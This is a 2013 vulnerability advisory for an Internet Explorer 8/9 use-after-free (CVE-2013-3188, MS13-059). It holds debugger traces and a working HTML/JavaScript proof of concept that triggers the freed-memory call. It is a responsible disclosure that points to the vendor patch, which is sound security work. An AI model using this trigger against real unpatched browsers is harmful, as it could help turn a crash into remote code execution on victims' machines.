security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'ellipsis' Use-After-Free Vulnerability (MS13-059)
CVE	CVE-2013-3188
Vendor Website	http://www.microsoft.com/
Date Released	13/08/2013
Affected Software	Microsoft Internet Explorer 8, Microsoft Internet Explorer 9
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer 8 and Microsoft Internet Explorer 9. This allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

When CSS processing is performed on a CParaElement a use-after-free condition occurs. The CSS 'text-overflow' attribute is set to 'ellipsis' which causes an ellipsis (…) to be rendered to represent any clipped text. The IFRAME which the HTML is rendered in is smaller (100x100) than the text node representation (aA0aA0aA0aA0aA0aA0) within the CParaElement. When the CSS 'float' attribute is set to 'right', it causes the text node to be freed. The dangling pointer is then reused when a DOM re-layout is performed.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information. poi(ecx) gets mov'd into EAX, poi(eax+0x70) gets mov'd into EDX and finally a call to EDX which is pointing to freed memory is performed.

Debug Information

```
eax=02200004 ebx=001f2768 ecx=001f2c90 edx=00000000 esi=025d60f8 edi=00000000
eip=3cf76bc2 esp=025d60cc ebp=025d60e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76bc2 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:02200074=????????
1:026> u mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76bc0 8b01            mov     eax,dword ptr [ecx]
3cf76bc2 8b5070          mov     edx,dword ptr [eax+70h]
3cf76bc5 ffd2            call    edx
3cf76bc7 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf76bca c3              ret
3cf76bcb 90              nop
3cf76bcc 90              nop
3cf76bcd 90              nop
1:026> !heap -p -a ecx
    address 001f2c90 found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        001f2c88 0021 0000  [07]   001f2c90    000ec - (busy)
        Trace: 250d
        7c96fbca ntdll!RtlDebugAllocateHeap+0x000000e1
```

```
7c94b244 ntdll!RtlAllocateHeapSlowly+0x00000044
7c919c0c ntdll!RtlAllocateHeap+0x00000e64
3cf28d31 mshtml!CFancyFormat::Clone+0x00000018
3cf28d10 mshtml!CDataCache<CFancyFormat>::InitData+0x00000022
3cf0266f mshtml!CDataCacheBase::Add+0x0000008b
3cf46978 mshtml!CDataCacheBase::CacheData+0x0000002a
3d01dbf5 mshtml!CLayoutBlock::BuildFancyFormatFromNode+0x00000601
3d13b27e mshtml!CLayoutBlock::UpdateLayoutBlock+0x00000372
3d2acfc8 mshtml!CFirstLetterContainerBlock::BuildFirstLetterContainer+0x0000005f
3d2a7364 mshtml!CTextBlock::BuildFirstLetterPseudoElement+0x0000018a
3d15a8f3 mshtml!CTextBlock::BuildTextBlock+0x00000a2c
3d03455e mshtml!CLayoutBlock::BuildBlock+0x000001ec
3d016879 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059c
3d01875a mshtml!CLayoutBlock::BuildBlock+0x000001c1
3d016879 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059c
3d01875a mshtml!CLayoutBlock::BuildBlock+0x000001c1
3d016879 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059c
3d01875a mshtml!CLayoutBlock::BuildBlock+0x000001c1
3d016879 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059c
3d01875a mshtml!CLayoutBlock::BuildBlock+0x000001c1
3d01bf3e mshtml!CCssDocumentLayout::GetPage+0x0000022a
3d01bdee mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254
3cf5bf37 mshtml!CLayout::CalcSize+0x000002b8
3cf6eaee mshtml!CLayout::DoLayout+0x0000011d
3d0ee027 mshtml!CView::ExecuteLayoutTasks+0x00000041
3cf7e82f mshtml!CView::EnsureView+0x00000353
3cf8a8c8 mshtml!CView::EnsureViewCallback+0x000000d2
3cf8a639 mshtml!GlobalWndOnMethodCall+0x000000fb
3cf75328 mshtml!GlobalWndProc+0x00000183
7e418734 USER32!InternalCallWinProc+0x00000028
7e418816 USER32!UserCallWinProcCheckWow+0x00000150


1:026> k
ChildEBP RetAddr
025d60c8 3cf14a41 mshtml!CElement::Doc+0x2
025d60e4 3cf14caa mshtml!CTreeNode::ComputeFormats+0xb9
025d6394 3cf2992c mshtml!CTreeNode::ComputeFormatsHelper+0x44
025d6398 3cf298fc mshtml!CTreeNode::GetCharFormatIndexHelper+0x7
025d63a0 3d039c14 mshtml!CTreeNode::GetCharFormatHelper+0xa
025d63c8 3d2ab7dd mshtml!SLayoutRun::GetFont+0x77
025d640c 3d15cdd2 mshtml!CLsClient::CalculateEllipsisProperties+0x53
025d6468 3d04f010 mshtml!CLsClient::CreateLine+0x28a
025d6478 3d04e830 mshtml!CLsClient::ReCreateLineForDisplay+0x67
025d652c 3cf9b6f4 mshtml!CTextDisplayBox::DrawClient+0x1e6
025d68e4 3cf99167 mshtml!CDispLeafNode::DrawSelf+0x432
025d6a30 3cf997b3 mshtml!CDispNode::Draw+0x217
025d6a58 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
025d6ba4 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
025d6cf0 3cf997b3 mshtml!CDispNode::Draw+0x207
025d6d18 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
025d6e64 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
025d6fb0 3cf997b3 mshtml!CDispNode::Draw+0x207
025d6fd8 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
025d7124 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
025d7270 3cf997b3 mshtml!CDispNode::Draw+0x207
025d7298 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
025d73e4 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
025d7530 3cf997b3 mshtml!CDispNode::Draw+0x207
025d7558 3d04ca8d mshtml!CDispContainer::DrawChildren+0x56
025d7608 3cf996dd mshtml!CDispContainer::DrawContentAdvanced+0x9b
025d77dc 3cf99167 mshtml!CDispContainer::DrawSelf+0x2b4
```

```
025d7928 3cf997b3 mshtml!CDispNode::Draw+0x217
025d7950 3cf99743 mshtml!CDispContainer::DrawChildren+0x56
025d7b14 3cf99167 mshtml!CDispContainer::DrawSelf+0x28a
025d7c60 3cf997b3 mshtml!CDispNode::Draw+0x217
025d7c88 3cf99743 mshtml!CDispContainer::DrawChildren+0x56
025d7e4c 3cf99167 mshtml!CDispContainer::DrawSelf+0x28a
025d7f98 3cf997b3 mshtml!CDispNode::Draw+0x217
025d7fc0 3cf99743 mshtml!CDispContainer::DrawChildren+0x56
025d8184 3cf99167 mshtml!CDispContainer::DrawSelf+0x28a
025d82d0 3cf997b3 mshtml!CDispNode::Draw+0x217
025d82f8 3cf99743 mshtml!CDispContainer::DrawChildren+0x56
025d84bc 3cf99167 mshtml!CDispContainer::DrawSelf+0x28a
025d8608 3cea9111 mshtml!CDispNode::Draw+0x217
025da9e8 3cea94d3 mshtml!CDispRoot::DrawBand+0xd1
025dad68 3cea93cc mshtml!CDispRoot::DrawBands+0x102
025dd56c 3cf98f9a mshtml!CDispRoot::DrawRoot+0x383
025dd61c 3cf98306 mshtml!CView::RenderView+0x3b6
025ddad0 3cf7efe9 mshtml!CDoc::OnPaint+0x5c7
025ddb04 3cfa96ef mshtml!CServer::OnWindowMessage+0x38f
025ddc2c 3cfa95c9 mshtml!CDoc::OnWindowMessage+0x16c
025ddc58 7e418734 mshtml!CServer::WndProc+0x78
025ddc84 7e418816 USER32!InternalCallWinProc+0x28
025ddcec 7e428ea0 USER32!UserCallWinProcCheckWow+0x150
025ddd40 7e428eec USER32!DispatchClientMessage+0xa3
025ddd68 7c90e473 USER32!__fnDWORD+0x24
025ddd8c 7e4194d2 ntdll!KiUserCallbackDispatcher+0x13
025dddd4 7e418a10 USER32!NtUserDispatchMessage+0xc
025ddde4 3e2ec1dd USER32!DispatchMessageW+0xf
025dfeec 3e2932ef IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
025dffa4 3e137e91 IEFRAME!LCIETab_ThreadProc+0x2c1
025dffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
025dffec 00000000 kernel32!BaseThreadStart+0x37
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

---- IFRAME HTML ----

```
<!DOCTYPE HTML>
<html lang="en-JP">
<head>
<script>
function boom() {
// Object setup
var obj = document.createElement("P")
obj.innerHTML = "aA0aA0aA0aA0aA0aA0aA0"
document.body.appendChild(obj)

// Free
setTimeout(function(){
document.styleSheets[0].cssText = "p{text-overflow:ellipsis;overflow-x:hidden;} p:first-
letter{float:right;}"
}, 100)

// Force reflow
setTimeout('document.body.innerHTML += "a"', 500)}

</script>
<style>
</style>
```

```
</head>
<body onload="setTimeout('boom()', 500)">
</body>
</html>

---- END OF IFRAME HTML ----

---- MAIN HTML ----

<html>
<iframe src="iframe_html.html"></iframe>
</html>

---- END OF MAIN HTML ----
```

Solution

Microsoft validated this security issue in Internet Explorer 8 & 9 and issued a patch (MS13-059) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596